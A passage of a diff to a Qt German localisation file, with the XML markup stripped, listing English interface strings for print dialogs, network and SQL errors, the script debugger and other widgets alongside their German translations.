(in) + + + + + %1: Invalid name + %1: Ungültiger Name - - Points (pt) - Punkte (pt) + + + %1: Socket access error + %1: Fehler beim Zugriff auf den Socket - - Form - Formular + + + %1: Socket resource error + %1: Socket-Fehler (Ressourcenproblem) - - Paper - Papier + + + %1: Socket operation timed out + %1: Zeitüberschreitung bei Socket-Operation - - Page size: - Seitengröße: + + + %1: Datagram too large + %1: Das Datagramm ist zu groß - - Width: - Breite: + + + + %1: Connection error + %1: Verbindungsfehler - - Height: - Höhe: + + + %1: The socket operation is not supported + %1: Diese Socket-Operation wird nicht unterstützt - - Paper source: - Papierquelle: + + %1: Unknown error + %1: Unbekannter Fehler - - Orientation - Ausrichtung + + + %1: Unknown error %2 + %1: Unbekannter Fehler %2 + + + QMYSQLDriver - - Portrait - Hochformat + + Unable to open database ' + Die Datenbankverbindung kann nicht geöffnet werden ' - - Landscape - Querformat + + Unable to connect + Es kann keine Verbindung aufgebaut werden - - Reverse landscape - Umgekehrtes Querformat + + Unable to begin transaction + Es kann keine Transaktion gestartet werden - - Reverse portrait - Umgekehrtes Hochformat + + Unable to commit transaction + Die Transaktion kann nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) - - Margins - Ränder + + Unable to rollback transaction + Die Transaktion kann nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + + QMYSQLResult - - top margin - Oberer Rand + + + Unable to fetch data + Es konnten keine Daten abgeholt werden - - left margin - Linker Rand + + Unable to execute query + Die Abfrage konnte nicht ausgeführt werden - - right margin - Rechter Rand + + Unable to store result + Das Ergebnis konnte nicht gespeichert werden - - bottom margin - Unterer Rand + + + Unable to prepare statement + Der Befehl konnte nicht initialisiert werden - - - QPluginLoader - - Unknown error - Unbekannter Fehler + + Unable to reset statement + Der Befehl konnte nicht zurückgesetzt werden - - The plugin was not loaded. - Das Plugin wurde nicht geladen. + + Unable to bind value + Der Wert konnte nicht gebunden werden - - - QPrintDialog - - locally connected - direkt verbunden + + Unable to execute statement + Der Befehl konnte nicht ausgeführt werden - - - Aliases: %1 - Alias: %1 + + + Unable to bind outvalues + Die Ausgabewerte konnten nicht gebunden werden - - - unknown - unbekannt + + Unable to store statement results + Die Ergebnisse des Befehls konnten nicht gespeichert werden + + + + Unable to execute next query + Die folgende Abfrage kann nicht ausgeführt werden - - OK - OK + + Unable to store next result + Das folgende Ergebnis kann nicht gespeichert werden + + + QMdiArea - - Print all - Alles drucken + + (Untitled) + (Unbenannt) + + + QMdiSubWindow - - Print range - Bereich drucken + + %1 - [%2] + %1 - [%2] - - A0 (841 x 1189 mm) - A0 (841 x 1189 mm) + + Close + Schließen - - A1 (594 x 841 mm) - A1 (594 x 841 mm) + + Minimize + Minimieren - - A2 (420 x 594 mm) - A2 (420 x 594 mm) + + Restore Down + Wiederherstellen - - A3 (297 x 420 mm) - A3 (297 x 420 mm) + + &Restore + Wieder&herstellen - - A5 (148 x 210 mm) - A5 (148 x 210 mm) + + &Move + Ver&schieben - A6 (105 x 148 mm) - A6 (105 x 148 mm) + &Size + Größe ä&ndern - A7 (74 x 105 mm) - A7 (74 x 105 mm) + Mi&nimize + M&inimieren - - A8 (52 x 74 mm) - A8 (52 x 74 mm) + + Ma&ximize + Ma&ximieren - - A9 (37 x 52 mm) - A9 (37 x 52 mm) + + Stay on &Top + Im &Vordergrund bleiben - - B0 (1000 x 1414 mm) - B0 (1000 x 1414 mm) + + &Close + Schl&ießen - - B1 (707 x 1000 mm) - B1 (707 x 1000 mm) + + Maximize + Maximieren - - B2 (500 x 707 mm) - B2 (500 x 707 mm) + + Unshade + Herabrollen - - B3 (353 x 500 mm) - B3 (353 x 500 mm) + + Shade + Aufrollen - - B4 (250 x 353 mm) - B4 (250 x 353 mm) + + Restore + Wiederherstellen - - B6 (125 x 176 mm) - B6 (125 x 176 mm) + + Help + Hilfe - - B7 (88 x 125 mm) - B7 (88 x 125 mm) + + Menu + Menü - - B8 (62 x 88 mm) - B8 (62 x 88 mm) + + - [%1] + - [%1] + + + QMediaPlayer - - B9 (44 x 62 mm) - B9 (44 x 62 mm) + + The QMediaPlayer object does not have a valid service + Das QMediaPlayer-Objekt verfügt über keinen gültigen Dienst + + + QMediaPlaylist - - B10 (31 x 44 mm) - B10 (31 x 44 mm) + + + Could not add items to read only playlist. + Es konnten keine Einträge zur Wiedergabeliste hinzugefügt werden, da sie schreibgeschützt ist. - - C5E (163 x 229 mm) - C5E (163 x 229 mm) + + + Playlist format is not supported + Das Format der Wiedergabeliste ist nicht unterstützt - - DLE (110 x 220 mm) - DLE (110 x 220 mm) + + The file could not be accessed. + Auf die Datei konnte nicht zugegriffen werden. - - Folio (210 x 330 mm) - Folio (210 x 330 mm) + + Playlist format is not supported. + Das Format der Wiedergabeliste ist nicht unterstützt. + + + QMenu - - Ledger (432 x 279 mm) - Ledger (432 x 279 mm) + + + Close + Schließen - - Tabloid (279 x 432 mm) - Tabloid (279 x 432 mm) + + + Open + Öffnen - - US Common #10 Envelope (105 x 241 mm) - US Common #10 Envelope (105 x 241 mm) + + + + Execute + Ausführen + + + QMenuBar - - A4 (210 x 297 mm, 8.26 x 11.7 inches) - A4 (210 x 297 mm) + + Actions + Optionen + + + + QMessageBox + + + + + + OK + OK - - B5 (176 x 250 mm, 6.93 x 9.84 inches) - B5 (176 x 250 mm) + + <h3>About Qt</h3><p>This program uses Qt version %1.</p> + - - Executive (7.5 x 10 inches, 191 x 254 mm) - Executive (7,5 x 10 Zoll, 191 x 254 mm) + + <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p> + - - Legal (8.5 x 14 inches, 216 x 356 mm) - Legal (8,5 x 14 Zoll, 216 x 356 mm) + + About Qt + Über Qt - - Letter (8.5 x 11 inches, 216 x 279 mm) - Letter (8,5 x 11 Zoll, 216 x 279 mm) + + Help + Hilfe - - Print selection - Auswahl drucken + + Show Details... + Details einblenden... - - - - Print - Drucken + + Hide Details... + Details ausblenden... + + + QMultiInputContext - - Print To File ... - In Datei drucken ... + + Select IM + Eingabemethode auswählen + + + QMultiInputContextPlugin - - File %1 is not writable. -Please choose a different file name. - Die Datei %1 ist schreibgeschützt. -Bitte wählen Sie einen anderen Dateinamen. + + Multiple input method switcher + Umschalter für Eingabemethoden - - %1 already exists. -Do you want to overwrite it? - Die Datei %1 existiert bereits. -Soll sie überschrieben werden? + + Multiple input method switcher that uses the context menu of the text widgets + Mehrfachumschalter für Eingabemethoden, der das Kontextmenü des Text-Widgets verwendet + + + QNativeSocketEngine - - File exists - Die Datei existiert bereits + + The remote host closed the connection + Der entfernte Rechner hat die Verbindung geschlossen - - <qt>Do you want to overwrite it?</qt> - <qt>Soll sie überschrieben werden?</qt> + + Network operation timed out + Das Zeitlimit für die Operation wurde überschritten - - %1 is a directory. -Please choose a different file name. - %1 ist ein Verzeichnis. -Bitte wählen Sie einen anderen Dateinamen. + + Out of resources + Keine Ressourcen verfügbar - - The 'From' value cannot be greater than the 'To' value. - Die Angabe für die erste Seite darf nicht größer sein als die für die letzte Seite. + + Unsupported socket operation + Socket-Kommando nicht unterstützt - - A0 - A0 + + Protocol type not supported + Das Protokoll wird nicht unterstützt - - A1 - A1 + + Invalid socket descriptor + Ungültiger Socket-Deskriptor - - A2 - A2 + + Network unreachable + Das Netzwerk ist nicht erreichbar - - A3 - A3 + + Permission denied + Zugriff verweigert - - A4 - A4 + + Connection timed out + Das Zeitlimit für die Verbindung wurde überschritten - - A5 - A5 + + Connection refused + Verbindung verweigert - - A6 - A6 + + The bound address is already in use + Die angegebene Adresse ist bereits in Gebrauch - - A7 - A7 + + The address is not available + Die Adresse ist nicht verfügbar - - A8 - A8 + + The address is protected + Die Adresse ist geschützt - - A9 - A9 + + Unable to send a message + Die Nachricht konnte nicht gesendet werden - - B0 - B0 + + Unable to receive a message + Die Nachricht konnte nicht empfangen werden - - B1 - B1 + + Unable to write + Der Schreibvorgang konnte nicht ausgeführt werden - - B2 - B2 + + Network error + Netzwerkfehler - - B3 - B3 + + Another socket is already listening on the same port + Auf diesem Port hört bereits ein anderer Socket - - B4 - B4 + + Unable to initialize non-blocking socket + Der nichtblockierende Socket konnte nicht initialisiert werden - - B5 - B5 + + Unable to initialize broadcast socket + Der Broadcast-Socket konnte nicht initialisiert werden - - B6 - B6 + + Attempt to use IPv6 socket on a platform with no IPv6 support + Es wurde versucht, einen IPv6-Socket auf einem System ohne IPv6-Unterstützung zu verwenden - - B7 - B7 + + Host unreachable + Der Zielrechner kann nicht erreicht werden - - B8 - B8 + + Datagram was too large to send + Das Datagram konnte nicht gesendet werden, weil es zu groß ist - - B9 - B9 + + Operation on non-socket + Operation kann nur auf einen Socket angewandt werden - - B10 - B10 + + Unknown error + Unbekannter Fehler - - C5E - C5E + + The proxy type is invalid for this operation + Die Operation kann mit dem Proxy-Typ nicht durchgeführt werden + + + QNetworkAccessCacheBackend - - DLE - DLE + + Error opening %1 + %1 konnte nicht geöffnet werden + + + QNetworkAccessDataBackend - - Executive - Executive + + Operation not supported on %1 + Diese Operation wird von %1 nicht unterstützt - - Folio - Folio + + Invalid URI: %1 + Ungültiger URI: %1 + + + QNetworkAccessDebugPipeBackend - - Ledger - Ledger + + Write error writing to %1: %2 + Fehler beim Schreiben zu %1: %2 - - Legal - Legal + + Socket error on %1: %2 + Socket-Fehler bei %1: %2 - - Letter - Letter + + Remote host closed the connection prematurely on %1 + Der entfernte Rechner hat die Verbindung zu %1 vorzeitig beendet + + + QNetworkAccessFileBackend - - Tabloid - Tabloid + + + Request for opening non-local file %1 + Anforderung zum Öffnen einer Datei über Netzwerk %1 - - US Common #10 Envelope - US Common #10 Envelope + + + Error opening %1: %2 + %1 konnte nicht geöffnet werden: %2 - - Custom - Benutzerdefiniert + + Write error writing to %1: %2 + Fehler beim Schreiben zur Datei %1: %2 - - - &Options >> - &Einstellungen >> + + + Cannot open %1: Path is a directory + %1 kann nicht geöffnet werden: Der Pfad spezifiziert ein Verzeichnis - - &Options << - &Einstellungen << + + Read error reading from %1: %2 + Beim Lesen von der Datei %1 trat ein Fehler auf: %2 + + + QNetworkAccessFtpBackend - - Print to File (PDF) - In PDF-Datei drucken + + No suitable proxy found + Es konnte kein geeigneter Proxy-Server gefunden werden - - Print to File (Postscript) - In Postscript-Datei drucken + + Cannot open %1: is a directory + %1 kann nicht geöffnet werden: Es handelt sich um ein Verzeichnis - - Local file - Lokale Datei + + Logging in to %1 failed: authentication required + Die Anmeldung bei %1 schlug fehl: Es ist eine Authentifizierung erforderlich - - Write %1 file - Schreiben der Datei %1 + + Error while downloading %1: %2 + Beim Herunterladen von %1 trat ein Fehler auf: %2 - - &Print - &Drucken + + Error while uploading %1: %2 + Beim Hochladen von %1 trat ein Fehler auf: %2 - QPrintPreviewDialog + QNetworkAccessHttpBackend - - %1% - %1% + + No suitable proxy found + Es konnte kein geeigneter Proxy-Server gefunden werden + + + QNetworkAccessManager - - Print Preview - Druckvorschau + + Network access is disabled. + Der Zugriff auf das Netzwerk ist nicht gestattet. + + + QNetworkReply - - Next page - Nächste Seite + + Error downloading %1 - server replied: %2 + Beim Herunterladen von %1 trat ein Fehler auf - Die Antwort des Servers ist: %2 - - Previous page - Vorige Seite + + Protocol "%1" is unknown + Das Protokoll "%1" ist unbekannt - - First page - Erste Seite + + Network session error. + Fehler bei Netzwerkverbindung. - - Last page - Letzte Seite + + Temporary network failure. + Das Netzwerk ist zur Zeit ausgefallen. + + + QNetworkReplyImpl - - Fit width - Breite anpassen + + + Operation canceled + Operation abgebrochen + + + QNetworkSession - - Fit page - Seite anpassen + + Invalid configuration. + Ungültige Konfiguration. + + + QNetworkSessionPrivateImpl - - Zoom in - Vergrößern + + + Unknown session error. + Unbekannter Fehler bei Netzwerkverbindung. - - Zoom out - Verkleinern + + + The session was aborted by the user or system. + Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen. - - Portrait - Hochformat + + + The requested operation is not supported by the system. + Die angeforderte Operation wird vom System nicht unterstützt. - - Landscape - Querformat + + + The specified configuration cannot be used. + Die angegebene Konfiguration kann nicht verwendet werden. - - Show single page - Einzelne Seite anzeigen + + + Roaming was aborted or is not possible. + Das Roaming wurde abgebrochen oder ist hier nicht möglich. - - Show facing pages - Gegenüberliegende Seiten anzeigen + + Roaming error + Fehler beim Roaming - - Show overview of all pages - Übersicht aller Seiten + + Session aborted by user or system + Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen - - Print - Drucken + + Unidentified Error + Unbekannter Fehler + + + QOCIDriver - - Page setup - Seite einrichten + + Unable to logon + Logon-Vorgang fehlgeschlagen - - Close - Schließen + + Unable to initialize + QOCIDriver + Initialisierung fehlgeschlagen - - Export to PDF - PDF exportieren + + Unable to begin transaction + Es konnte keine Transaktion gestartet werden - - Export to PostScript - PostScript exportieren + + Unable to commit transaction + Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) - - - Page Setup - Seite einrichten + + Unable to rollback transaction + Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) - QPrintPropertiesWidget + QOCIResult - - Form - Formular + + + + Unable to bind column for batch execute + Die Spalte konnte nicht für den Stapelverarbeitungs-Befehl gebunden werden - - Page - Seite + + Unable to execute batch statement + Der Stapelverarbeitungs-Befehl konnte nicht ausgeführt werden - - Advanced - Erweitert + + Unable to goto next + Kann nicht zum nächsten Element gehen - - - QPrintSettingsOutput - - Form - Formular + + Unable to alloc statement + Die Allokation des Befehls schlug fehl - - Copies - Anzahl Exemplare + + Unable to prepare statement + Der Befehl konnte nicht initialisiert werden - - Print range - Bereich drucken + + Unable to get statement type + Der Anweisungstyp kann nicht bestimmt werden - - Print all - Alles drucken + + Unable to bind value + Der Wert konnte nicht gebunden werden - - Pages from - Seiten von + + Unable to execute statement + Der Befehl konnte nicht ausgeführt werden + + + + QODBCDriver + + + Unable to connect + Es kann keine Verbindung aufgebaut werden - - to - bis + + Unable to disable autocommit + 'autocommit' konnte nicht deaktiviert werden - - Selection - Auswahl + + Unable to commit transaction + Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) - - Output Settings - Ausgabeeinstellungen + + Unable to rollback transaction + Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) - - Copies: - Anzahl Exemplare: + + Unable to enable autocommit + 'autocommit' konnte nicht aktiviert werden - - Collate - Sortieren + + Unable to connect - Driver doesn't support all functionality required + Es kann keine Verbindung aufgebaut werden weil der Treiber die benötigte Funktionalität nicht vollständig unterstützt + + + QODBCResult - - Reverse - Umgekehrt + + + QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration + QODBCResult::reset: 'SQL_CURSOR_STATIC' konnte nicht als Attribut des Befehls gesetzt werden. Bitte prüfen Sie die Konfiguration Ihres ODBC-Treibers - - Options - Optionen + + + Unable to execute statement + Der Befehl konnte nicht ausgeführt werden - - Color Mode - Farbmodus + + Unable to fetch next + Der nächste Datensatz konnte nicht abgeholt werden - - Color - Farbe + + Unable to prepare statement + Der Befehl konnte nicht initialisiert werden - - Grayscale - Graustufen + + Unable to bind variable + Die Variable konnte nicht gebunden werden - - Duplex Printing - Duplexdruck + + + + Unable to fetch last + Der letzte Datensatz konnte nicht abgeholt werden - - None - Kein + + Unable to fetch + Es konnten keine Daten abgeholt werden - - Long side - Lange Seite + + Unable to fetch first + Der erste Datensatz konnte nicht abgeholt werden - - Short side - Kurze Seite + + Unable to fetch previous + Der vorangegangene Datensatz kann nicht abgeholt werden - QPrintWidget + QObject - - Form - Formular + + "%1" duplicates a previous role name and will be disabled. + "%1" ist bereits als Name einer Rolle vergeben und wird daher deaktiviert. + + + QPPDOptionsModel - - Printer - Drucker + + Name + Name - - &Name: - &Name: + + Value + Wert + + + QPSQLDriver - - P&roperties - &Eigenschaften + + Unable to connect + Es kann keine Verbindung aufgebaut werden - - Location: - Standort: + + Could not begin transaction + Es konnte keine Transaktion gestartet werden - - Preview - Vorschau + + Could not commit transaction + Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) - - Type: - Typ: + + Could not rollback transaction + Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) - - Output &file: - Ausgabe&datei: + + Unable to subscribe + Die Registrierung schlug fehl - - ... - ... + + Unable to unsubscribe + Die Registrierung konnte nicht aufgehoben werden - QProcess - - - - Could not open input redirection for reading - Die Eingabeumleitung konnte nicht zum Lesen geöffnet werden - + QPSQLResult - - - Could not open output redirection for writing - Die Ausgabeumleitung konnte nicht zum Lesen geöffnet werden + + Unable to create query + Es konnte keine Abfrage erzeugt werden - - Resource error (fork failure): %1 - Ressourcenproblem ("fork failure"): %1 + + Unable to prepare statement + Der Befehl konnte nicht initialisiert werden + + + QPageSetupWidget - - - - - - - - - - Process operation timed out - Zeitüberschreitung + + Centimeters (cm) + Zentimeter (cm) - - - - - Error reading from process - Das Lesen vom Prozess schlug fehl + + Millimeters (mm) + Millimeter (mm) - - - - Error writing to process - Das Schreiben zum Prozess schlug fehl + + Inches (in) + Zoll (in) - - Process crashed - Der Prozess ist abgestürzt + + Points (pt) + Punkte (pt) - - No program defined - Es wurde kein Programm angegeben + + Form + Formular - - Process failed to start: %1 - Das Starten des Prozesses schlug fehl: %1 + + Paper + Papier - - - QProgressDialog - - Cancel - Abbrechen + + Page size: + Seitengröße: - - - QPushButton - - Open - Öffnen + + Width: + Breite: - - - QRadioButton - - Check - Ankreuzen + + Height: + Höhe: - - - QRegExp - - no error occurred - kein Fehler + + Paper source: + Papierquelle: - - disabled feature used - deaktivierte Eigenschaft wurde benutzt + + Orientation + Ausrichtung - - bad char class syntax - falsche Syntax für Zeichenklasse + + Portrait + Hochformat - - bad lookahead syntax - falsche Syntax für Lookahead + + Landscape + Querformat - - bad repetition syntax - falsche Syntax für Wiederholungen + + Reverse landscape + Umgekehrtes Querformat - - invalid octal value - ungültiger Oktal-Wert + + Reverse portrait + Umgekehrtes Hochformat - - missing left delim - fehlende linke Begrenzung + + Margins + Ränder - - unexpected end - unerwartetes Ende + + top margin + Oberer Rand - - met internal limit - internes Limit erreicht + + left margin + Linker Rand - - invalid interval - ungültiges Intervall + + right margin + Rechter Rand - - invalid category - ungültige Kategorie + + bottom margin + Unterer Rand - QSQLite2Driver + QPluginLoader - - Error opening database - Die Datenbankverbindung konnte nicht geöffnet werden + + Unknown error + Unbekannter Fehler - - Unable to begin transaction - Es konnte keine Transaktion gestartet werden + + The plugin was not loaded. + Das Plugin wurde nicht geladen. + + + QPrintDialog - - Unable to commit transaction - Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) + + locally connected + direkt verbunden - - Unable to rollback transaction - Die Transaktion kann nicht rückgängig gemacht werden + + + Aliases: %1 + Alias: %1 - - - QSQLite2Result - - Unable to fetch results - Das Ergebnis konnte nicht abgeholt werden + + + unknown + unbekannt - - Unable to execute statement - Der Befehl konnte nicht ausgeführt werden + + OK + OK - - - QSQLiteDriver - - Error opening database - Die Datenbankverbindung konnte nicht geöffnet werden + + Print all + Alles drucken - - Error closing database - Die Datenbankverbindung konnte nicht geschlossen werden + + Print range + Bereich drucken - - Unable to begin transaction - Es konnte keine Transaktion gestartet werden + + A0 (841 x 1189 mm) + A0 (841 x 1189 mm) - - Unable to commit transaction - Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) + + A1 (594 x 841 mm) + A1 (594 x 841 mm) - - Unable to rollback transaction - Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + A2 (420 x 594 mm) + A2 (420 x 594 mm) - - - QSQLiteResult - - - - Unable to fetch row - Der Datensatz konnte nicht abgeholt werden + + A3 (297 x 420 mm) + A3 (297 x 420 mm) - - Unable to execute statement - Der Befehl konnte nicht ausgeführt werden + + A5 (148 x 210 mm) + A5 (148 x 210 mm) - - Unable to reset statement - Der Befehl konnte nicht zurückgesetzt werden + + A6 (105 x 148 mm) + A6 (105 x 148 mm) - - Unable to bind parameters - Die Parameter konnte nicht gebunden werden + + A7 (74 x 105 mm) + A7 (74 x 105 mm) - - Parameter count mismatch - Die Anzahl der Parameter ist falsch + + A8 (52 x 74 mm) + A8 (52 x 74 mm) - - No query - Kein Abfrage + + A9 (37 x 52 mm) + A9 (37 x 52 mm) - - - QScriptBreakpointsModel - - ID - ID + + B0 (1000 x 1414 mm) + B0 (1000 x 1414 mm) - - Location - Stelle + + B1 (707 x 1000 mm) + B1 (707 x 1000 mm) - - Condition - Bedingung + + B2 (500 x 707 mm) + B2 (500 x 707 mm) - - Ignore-count - Auslösen nach + + B3 (353 x 500 mm) + B3 (353 x 500 mm) - - Single-shot - Einmal auslösen + + B4 (250 x 353 mm) + B4 (250 x 353 mm) - Hit-count - Ausgelöst + B6 (125 x 176 mm) + B6 (125 x 176 mm) - - - QScriptBreakpointsWidget - - New - Neu + + B7 (88 x 125 mm) + B7 (88 x 125 mm) - - Delete - Löschen + + B8 (62 x 88 mm) + B8 (62 x 88 mm) - - - QScriptDebugger - - - Go to Line - Gehe zu Zeile + + B9 (44 x 62 mm) + B9 (44 x 62 mm) - - Line: - Zeile: + + B10 (31 x 44 mm) + B10 (31 x 44 mm) - - Interrupt - Unterbrechen + + C5E (163 x 229 mm) + C5E (163 x 229 mm) + + + + DLE (110 x 220 mm) + DLE (110 x 220 mm) - Shift+F5 - Shift+F5 + Folio (210 x 330 mm) + Folio (210 x 330 mm) - - Continue - Weiter + + Ledger (432 x 279 mm) + Ledger (432 x 279 mm) - - F5 - F5 + + Tabloid (279 x 432 mm) + Tabloid (279 x 432 mm) - - Step Into - Einzelschritt herein + + US Common #10 Envelope (105 x 241 mm) + US Common #10 Envelope (105 x 241 mm) - - F11 - F11 + + Print current page + Diese Seite drucken - - Step Over - Einzelschritt über + + A4 (210 x 297 mm, 8.26 x 11.7 inches) + A4 (210 x 297 mm) - - F10 - F10 + + B5 (176 x 250 mm, 6.93 x 9.84 inches) + B5 (176 x 250 mm) - - Step Out - Einzelschritt heraus + + Executive (7.5 x 10 inches, 191 x 254 mm) + Executive (7,5 x 10 Zoll, 191 x 254 mm) - - Shift+F11 - Shift+F11 + + Legal (8.5 x 14 inches, 216 x 356 mm) + Legal (8,5 x 14 Zoll, 216 x 356 mm) - - Run to Cursor - Bis Cursor ausführen + + Letter (8.5 x 11 inches, 216 x 279 mm) + Letter (8,5 x 11 Zoll, 216 x 279 mm) - - Ctrl+F10 - Ctrl+F10 + + Print selection + Auswahl drucken - - Run to New Script - Bis zu neuem Skript ausführen + + + + Print + Drucken - - Toggle Breakpoint - Haltepunkt umschalten + + Print To File ... + In Datei drucken ... - - F9 - F9 + + File %1 is not writable. +Please choose a different file name. + Die Datei %1 ist schreibgeschützt. +Bitte wählen Sie einen anderen Dateinamen. - - Clear Debug Output - Debug-Ausgabe löschen + + %1 already exists. +Do you want to overwrite it? + Die Datei %1 existiert bereits. +Soll sie überschrieben werden? - - Clear Error Log - Fehlerausgabe löschen + + File exists + Die Datei existiert bereits - - Clear Console - Konsole löschen + + <qt>Do you want to overwrite it?</qt> + <qt>Soll sie überschrieben werden?</qt> - - &Find in Script... - &Suche im Skript... + + %1 is a directory. +Please choose a different file name. + %1 ist ein Verzeichnis. +Bitte wählen Sie einen anderen Dateinamen. - - Ctrl+F - Ctrl+F + + The 'From' value cannot be greater than the 'To' value. + Die Angabe für die erste Seite darf nicht größer sein als die für die letzte Seite. - - Find &Next - &Nächste Fundstelle + + A0 + A0 - - F3 - F3 + + A1 + A1 - - Find &Previous - Vorhergehende Fundstelle + + A2 + A2 - - Shift+F3 - Shift+F3 + + A3 + A3 - - Ctrl+G - Ctrl+G + + A4 + A4 - - Debug - Debuggen + + A5 + A5 - - - QScriptDebuggerCodeFinderWidget - - Close - Schließen + + A6 + A6 - - Previous - Vorige + + A7 + A7 - - Next - Nächste + + A8 + A8 - - Case Sensitive - Groß/Kleinschreibung beachten + + A9 + A9 - - Whole words - Ganze Worte + + B0 + B0 - - <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped - <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Die Suche hat das Ende erreicht + + B1 + B1 - - - QScriptDebuggerLocalsModel - - Name - Name + + B2 + B2 - - Value - Wert + + B3 + B3 - - - QScriptDebuggerStackModel - - Level - Ebene + + B4 + B4 - - Name - Name + + B5 + B5 - - Location - Stelle + + B6 + B6 - - - QScriptEdit - - Toggle Breakpoint - Haltepunkt umschalten + + B7 + B7 - - Disable Breakpoint - Haltepunkt deaktivieren + + B8 + B8 - Enable Breakpoint - Haltepunkt aktivieren + B9 + B9 - - Breakpoint Condition: - Bedingung: + + B10 + B10 - - - QScriptEngineDebugger - - Loaded Scripts - Geladene Skripte + + C5E + C5E - - Breakpoints - Haltepunkte + + DLE + DLE - - Stack - Stapel + + Executive + Executive - - Locals - Lokale Variablen + + Folio + Folio - - Console - Konsole + + Ledger + Ledger - - Debug Output - Debug-Ausgabe + + Legal + Legal - - Error Log - Fehlerausgabe + + Letter + Letter - - Search - Suche + + Tabloid + Tabloid - - View - Ansicht + + US Common #10 Envelope + US Common #10 Envelope - - Qt Script Debugger - Qt Script Debugger + + Custom + Benutzerdefiniert - - - QScriptNewBreakpointWidget - - Close - Schließen + + + &Options >> + &Einstellungen >> - - - QScrollBar - - Scroll here - Hierher scrollen + + &Options << + &Einstellungen << - - Left edge - Linker Rand + + Print to File (PDF) + In PDF-Datei drucken - - Top - Anfang + + Print to File (Postscript) + In Postscript-Datei drucken - - Right edge - Rechter Rand + + Local file + Lokale Datei - - Bottom - Ende + + Write %1 file + Schreiben der Datei %1 - - Page left - Eine Seite nach links + + &Print + &Drucken + + + QPrintPreviewDialog - - - Page up - Eine Seite nach oben + + %1% + %1% - - Page right - Eine Seite nach rechts + + Print Preview + Druckvorschau - - - Page down - Eine Seite nach unten + + Next page + Nächste Seite - - Scroll left - Nach links scrollen + + Previous page + Vorige Seite - - Scroll up - Nach oben scrollen + + First page + Erste Seite - Scroll right - Nach rechts scrollen + Last page + Letzte Seite - - Scroll down - Nach unten scrollen + + Fit width + Breite anpassen - - Line up - Ausrichten + + Fit page + Seite anpassen - - Position - Position + + Zoom in + Vergrößern - - Line down - Eine Zeile nach unten + + Zoom out + Verkleinern - - - QSharedMemory - - %1: create size is less then 0 - %1: Die Größenangabe für die Erzeugung ist kleiner als Null + + Portrait + Hochformat - - - %1: unable to lock - %1: Sperrung fehlgeschlagen + + Landscape + Querformat - - %1: unable to unlock - %1: Die Sperrung konnte nicht aufgehoben werden + + Show single page + Einzelne Seite anzeigen - - - - %1: permission denied - %1: Zugriff verweigert + + Show facing pages + Gegenüberliegende Seiten anzeigen - - - - %1: already exists - %1: existiert bereits + + Show overview of all pages + Übersicht aller Seiten - - %1: doesn't exists - %1: existiert nicht + + Print + Drucken - - - - %1: out of resources - %1: Keine Ressourcen mehr verfügbar + + Page setup + Seite einrichten - - - - %1: unknown error %2 - %1: Unbekannter Fehler %2 + + Close + Schließen - - %1: key is empty - %1: Ungültige Schlüsselangabe (leer) + + Export to PDF + PDF exportieren - - %1: ftok failed - %1: ftok-Aufruf schlug fehl + + Export to PostScript + PostScript exportieren - - - - %1: unable to make key - %1: Es kann kein Schlüssel erzeugt werden + + + Page Setup + Seite einrichten + + + QPrintPropertiesWidget - - - %1: doesn't exist - %1: existiert nicht + + Form + Formular - - %1: UNIX key file doesn't exist - %1: Die Unix-Schlüsseldatei existiert nicht + + Page + Seite - - %1: system-imposed size restrictions - %1: Ein systembedingtes Limit der Größe wurde erreicht + + Advanced + Erweitert + + + QPrintSettingsOutput - - %1: not attached - %1: nicht verbunden + + Form + Formular - - - %1: invalid size - %1: Ungültige Größe + + Copies + Anzahl Exemplare + + + + Print range + Bereich drucken - - - %1: key error - %1: Fehlerhafter Schlüssel + + Print all + Alles drucken - - %1: size query failed - %1: Die Abfrage der Größe schlug fehl + + Pages from + Seiten von - - %1: unable to set key on lock - %1: Es kann kein Schlüssel für die Sperrung gesetzt werden + + to + bis - - - QShortcut - - Space - Leertaste + + Selection + Auswahl - - Esc - Esc + + Output Settings + Ausgabeeinstellungen - - Tab - Tab + + Copies: + Anzahl Exemplare: - - Backtab - Rück-Tab + + Collate + Sortieren - - Backspace - Rücktaste + + Reverse + Umgekehrt - - Return - Return + + Options + Optionen - - Enter - Enter + + Color Mode + Farbmodus - - Ins - Einfg + + Color + Farbe - - Del - Entf + + Grayscale + Graustufen - - Pause - Pause + + Duplex Printing + Duplexdruck - - Print - Druck + + None + Kein - - SysReq - SysReq + + Long side + 